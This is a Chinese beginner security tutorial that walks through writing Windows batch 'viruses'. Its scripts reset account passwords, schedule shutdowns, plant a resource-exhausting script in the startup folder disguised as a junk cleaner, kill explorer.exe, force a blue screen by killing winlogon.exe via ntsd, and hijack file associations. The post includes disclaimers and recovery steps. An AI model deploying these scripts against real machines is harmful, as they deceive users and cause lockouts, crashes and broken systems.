【编者按】病毒这个不速之客让人谈之色变,它像一个藏在斗篷侠下的黑衣人,被“光顾”的人就会倒霉。本文为作者的网络安全自学教程系列文章之一,将讲解简单的病毒原理知识,并通过批处理代码制作病毒,包括自动启、修改密码、定时关机、蓝屏、进程关闭等功能。希望这篇基础文章对大家有所帮助,更希望大家提高安全意识,学会相关防范,也欢迎大家讨论。


作者 | 杨秀璋

责编 | 夕颜

本文授权转载自CSDN博客专家Eastmount

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

一.关机bat脚本

计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。

计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。计算机病毒是一个程序,一段可执行码。就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。

下面讲解第一个批处理脚本,主要是调用“shutdown”实现关机。其基本步骤如下:

  • 新建文本文档

  • 输入 shutdown -s -t 600

  • 把txt改成bat

如下图所示,运行CMD可以查看shutdown命令的基本用法。

基本命令为:

1 shutdown -s -t 600
2//现在让系统600秒之后关机
3
4shutdown -a
5//终止关闭计算机

运行结果如下图所示:

新建“test.bat”并填写“ shutdown -s -t 600”,某些系统需要在“文件夹选项”中,显示“隐藏已知文件类型的扩展名”。

双击BAT文件即运行关机,如果需要取消,还是在CMD黑框中输入“shutdown -a”命令。

二.修改密码和定时关机病毒

接下来分享一个比较完整的病毒制作过程。

第一步,新建game.bat文件。

程序编写如下所示,其中“@echo off”表示关闭回显,“color 0a”表示设置颜色。

 1 @echo off
 2color 0a
 3title Eastmount程序
 4
 5echo ===================================
 6echo                 菜单
 7echo           1.修改管理员密码
 8echo           2.定时关机
 9echo           3.退出本程序
10echo ===================================
11
12pause

运行结果如下图所示,可以看到标题为“Eastmount程序”,并且包含相关内容,这就是批处理文件执行过程。

第二步,做一个选择判断,该程序需要和用户进行互动。

核心代码为“set /p num=您的选择是:”,其表示设置变量num,“/p”表示暂停并等待用户输入,用户最终输入的值赋为num。

 1 @echo off
 2color 0a
 3title Eastmount程序
 4
 5echo ===================================
 6echo                 菜单
 7echo           1.修改管理员密码
 8echo           2.定时关机
 9echo           3.退出本程序
10echo ===================================
11
12set /p num=您的选择是:
13
14pause

输出结果如下图所示:

第三步,补充修改管理员密码、定时关机、退出等命令。

修改管理员密码的命令是微软所有系统的通用命令,下述代码是修改当前管理员密码为“123456”。

1 net user administrator 123456

第二个选项是关机,命令如下:

1 shutdown -s -t 100

第三个选项是退出本程序。

1 exit

接着编写判断和跳转批处理代码,代码如下所示,“>nul”表示不输出运行提示信息。

 1 @echo off
 2color 0a
 3title Eastmount程序
 4
 5:menu
 6echo ===================================
 7echo                 菜单
 8echo           1.修改管理员密码
 9echo           2.定时关机
10echo           3.退出本程序
11echo ===================================
12
13set /p num=您的选择是:
14if "%num%"=="1" goto 1
15if "%num%"=="2" goto 2
16if "%num%"=="3" goto 3
17
18:1
19net user administrator 123456 > nul
20echo 您的密码已经设置成功!
21pause
22goto menu
23
24:2
25shutdown -s -t 100
26goto menu
27
28:3
29exit

此时输入“1”会提示系统错误,如下图所示:

同时,杀毒软件也会提示黑客修改电脑,点击“允许操作”即可,

接着增加“cls”命令清屏。同时,为了避免输入数字“4”会从头执行到尾,补充一个提示信息。代码修改如下:

 1 @echo off
 2color 0a
 3title Eastmount程序
 4
 5:menu
 6cls
 7echo ===================================
 8echo                 菜单
 9echo           1.修改管理员密码
10echo           2.定时关机
11echo           3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu
22
23:1
24net user administrator 123456 >nul
25echo 您的密码已经设置成功!
26pause
27goto menu
28
29:2
30shutdown -s -t 100
31goto menu
32
33:3
34exit

此时运行如下图所示:

继续修改代码,补充设置的用户名和新密码,关机时间等。

 1 @echo off
 2color 0a
 3title Eastmount程序
 4
 5:menu
 6cls
 7echo ===================================
 8echo                 菜单
 9echo           1.修改管理员密码
10echo           2.定时关机
11echo           3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu
22
23:1
24set /p u=请输入用户名:
25set /p p=请输入新密码:
26net user %u% %p% >nul
27echo 您的密码已经设置成功!
28pause
29goto menu
30
31:2
32set /p time=请输入时间:
33shutdown -s -t %time%
34goto menu
35
36:3
37exit

以“管理员身份运行”后,成功修改“xiuzhang”用户的开机密码。

输入2可以设置关机时间,这里就不再赘述,第一部分已经详细讲解。

三.自启动死机病毒

接着编写一个伪装成“系统垃圾清理”的代码,它其实是一个导致系统死机的代码,也不能算是“病毒”,更多是一个恶作剧程序。其原理是不断打开CMD程序,占用系统资源从而导致死机,并且每次开机都会自动启。

PS:这里强调一句,建议大家在虚拟机中运行该代码。我们作为安全工程师,希望您们去了解漏洞背后的原理,更好地进行防御,绿色网络需要我们共同维护,杜绝一切违法行为。

第一步,在C:\windows目录下创建文件“windows.bat”。一个“>”表示覆盖文件内容,两个“>>”表示追加一句话至文件末尾。

1echo start cmd >c:\windows\windows.bat
2echo %0>>c:\windows\windows.bat

用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪,%0是再次执行该程序的意思。但是,这样只能让用户死机一次,重启系统以后,不再打开这个文件以后,就不再会中招了。

第二步,将这个恶意脚本放到开机菜单中,每次开机都自动启动运行并导致电脑死机。

errorlevel为预定义变量,随着系统变化而变化。如果为0表示上一条命令执行成功,如果非0表示上一条命令执行失败,它不是Win7系统,而执行下面这条命令(XP系统、2003系统)。

代码“echo.”表示空行,比如代码:

输出结果如下图所示:

第三步,接着编写next区域代码,完整代码如下所示。

 1@echo off
 2title 系统垃圾清理
 3color 2f
 4echo     =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
 5echo.
 6echo.
 7
 8echo start cmd >c:\windows\windows.bat
 9::echo %%0>>c:\windows\windows.bat
10
11copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
12if %errorlevel%==0 goto next
13
14copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo     =====垃圾清理中,请不要关闭窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo     =====垃圾清理完毕,共清理垃圾500M=======
25echo.
26echo.
27echo     =====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo     ======程序运行失败,请【使用管理员权限】重新运行!========
34echo.
35pause

注意,我注释了重复操作代码“::echo %%0>>c:\windows\windows.bat”,否则开机自启动很麻烦。接着运行代码,如下图所示,需要右键“以管理员身份运行”。

代码会在C:\windwos目录下创建批处理文件“windows.bat”。

同时,在我的Win10系统开机自动动目录下也有该文件。

目录:…\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

打开该文件可以看到写入的“start cmd”代码,表示打开CMD。

双击该“windows.bat”文件,运行结果如下图所示。

总结:本文编写了一个系统清理工具,其实是把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的,重复调用CMD占用资源。如果中了该病毒,用户可以使用PE到开启启动目录把windows.bat文件删除,或者重装系统,再次建议大家别让它重复运行。

四.进程关闭病毒

再看一个伪装垃圾清理的批处理代码。该命令是杀死进程,“/im explorer.exe”表示要杀死的进程名称,关闭桌面;“/f”表示强制杀死;“>nul”表示在屏幕上不要输出任何信息。

1taskkill /im explorer.exe /f >nul 2>nul

完整代码如下所示,其中“Start c:\windows\expolrer.exe”表示继续开启桌面,“ping -n 5 127.0.0.1>nul”用于消耗时间。

 1@echo off
 2title 系统垃圾清理
 3color 2f
 4echo     =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
 5echo.
 6echo.
 7echo.
 8echo     =====垃圾清理中,请不要关闭窗口=========
 9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im explorer.exe /f >nul 2>nul
12echo.
13echo     =====拐了,你的系统已经废了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17Start c:\windows\explorer.exe
18echo.
19echo     =====已经修复好!是不是吓坏了!!O(∩_∩)O==========
20pause

运行该批处理程序,桌面会消失,如下图所示。

过一会桌面又会恢复。由于作者桌面东西太乱,这里仅显示壁纸展示。

五.最简单的蓝屏炸弹文件

  • 新建文本文档

  • 输入:ntsd -c q -pn winlogon.exe,表示强制杀死进程

  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选

  • txt修改为bat

  • 开始->程序->启动,打开game.bat文件

黑客很少攻击个人,一般攻击服务器,该命令对2003的服务器特别有杀伤力

双击之后,服务器直接蓝屏显示并重启。

ntsd从Windows 2000开始就是系统自带的进程调试工具,在system32目录下。ntsd的功能非常的强大,用法也比较复杂,但如果只用来结束一些进程,那就比较简单了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。lsass.exe也不要杀掉,它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出,所以可以用来在命令行下终止进程。

打开cmd 后输入以下命令就可以结束进程:

  • 方法一:利用进程的PID结束进程

命令格式:ntsd -c q -p pid

命令范例:ntsd -c q -p 1332 (结束explorer.exe进程)

范例详解:explorer.exe的pid为1332,但是如何获取进程的pid呢?在CMD下输入TASKLIST就可以获取当前任务管理器所有进程的PID。或者打开任务管理器,在菜单栏,选择“查看”->“选择列”,在打开的选择项窗口中将“PID(进程标识符)”项选择钩上,这样任务管理器的进程中就会多出PID一项了。PID的分配并不固定,是在进程启动是由系统随机分配的,所以进程每次启动的进程一般都不会一样。

  • 方法二:利用进程名结束进程

命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 为进程名,exe不能省)

命令范例:ntsd -c q -pn explorer.exe

另外的能结束进程的DOS命令还有taskkill和tskill命令。

六.最简单的扩展名病毒

将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密,当你要打开文件时,需要密码,此时通过比特币付费进行勒索。

下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件,会认为它是一个txt文档,用记事本打开,导致可执行程序运行不起来,这是就是这个病毒的原理。

  • 新建文本文档

  • 增加代码:assoc.exe=txtfile

  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选

  • txt修改为bat

  • 开始->程序->启动,打开bat文件

双击运行bat文件之后,我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序,把系统的关联搞混乱了,它恢复起来很麻烦。

EXE程序打开如下图所示。

甚至打开CMD都是TXT文本文件。

接着需要执行下面的命令还原exe文件。

  • assoc.exe=exefile

还原的代码及效果如下图所示。

其他所有文件格式都转换为txt文件,如下所示。此时,如果隐藏文件扩展名,甚至可以修改图标伪装成目标应用,当用户点击时会执行这些破坏;但由于不知道目标是否有隐藏文件扩展名,还是不建议这种“笨”方法。

1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...

解决方法:

如果您不幸中了该病毒,怎么解决呢?如下图所示,还原所有正确关联即可。

PS:还有一些病毒,比如VBS脚本、网页弹窗(网站钓鱼)等,这里不再讲解,推荐读者阅读前文“[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探”。如果把病毒程序放到启动项,每次开机都会自动执行。

七.总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助。这里也推荐大家阅读参考文献的文章和视频。这篇文章也存在一些不足,作者没有深入理解其原理,也是作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第44篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

侠之为大,为国为民。向一线医护人员、军人、工人、科学家和所有工作者致敬。咱们中国人一生的最高追求,为天地立心,为生民立命,为往圣继绝学,为万世开太平,他们真的做到了。生活哪有什么岁月静好,只不过这些人替我们负重前行。希望每一个人都健康平安,戴口罩不出门,勤洗手多吃饭。武汉加油,湖北加油,中国加油。众志成城,加油必胜!!!

原文链接:

https://blog.csdn.net/Eastmount/article/details/104146757

【End】

知道Python如何支援抗“疫”吗?2月15日(全天)Python线上峰会免费学!6场精华分享,用代码“抗”疫!

两种报名方式:

1.点击“立即报名”--结算时使用优惠码“pythonday”,价格变为“0"元--提交订单,免费参与

2.点击“立即报名”--付款“19元”报名--会议官网公示姓名--为疫区捐款表心意

详细日程请见下方海报

推荐阅读 

雷军谈小米10售价:不贵,交个朋友;百度开源首个口罩人脸检测模型;优麒麟18.04.4 LTS发布 | 极客头条

沙迦美国大学科研副校长赵伟:揭秘工业 4.0 核心技术 CPS 的前世今生 | 人物志

蚂蚁金服AAAI收录论文曝光,动态网络剪枝方法、无语预训练的网络剪枝技术有重大突破

2.7 亿学生宅家上课,家长有意见了......

我是如何用6个月,从0编程经验变成数据科学家的?

孟岩:疫情带来的暂停,会让区块链与数字经济迎来更大反弹|算力大学视频公开课全文

你点的每一个在看,我认真当成了喜欢

猛戳“阅读原文”,填写中国远程办公-调查问卷

Logo

20年前,《新程序员》创刊时,我们的心愿是全面关注程序员成长,中国将拥有新一代世界级的程序员。20年后的今天,我们有了新的使命:助力中国IT技术人成长,成就一亿技术人!

更多推荐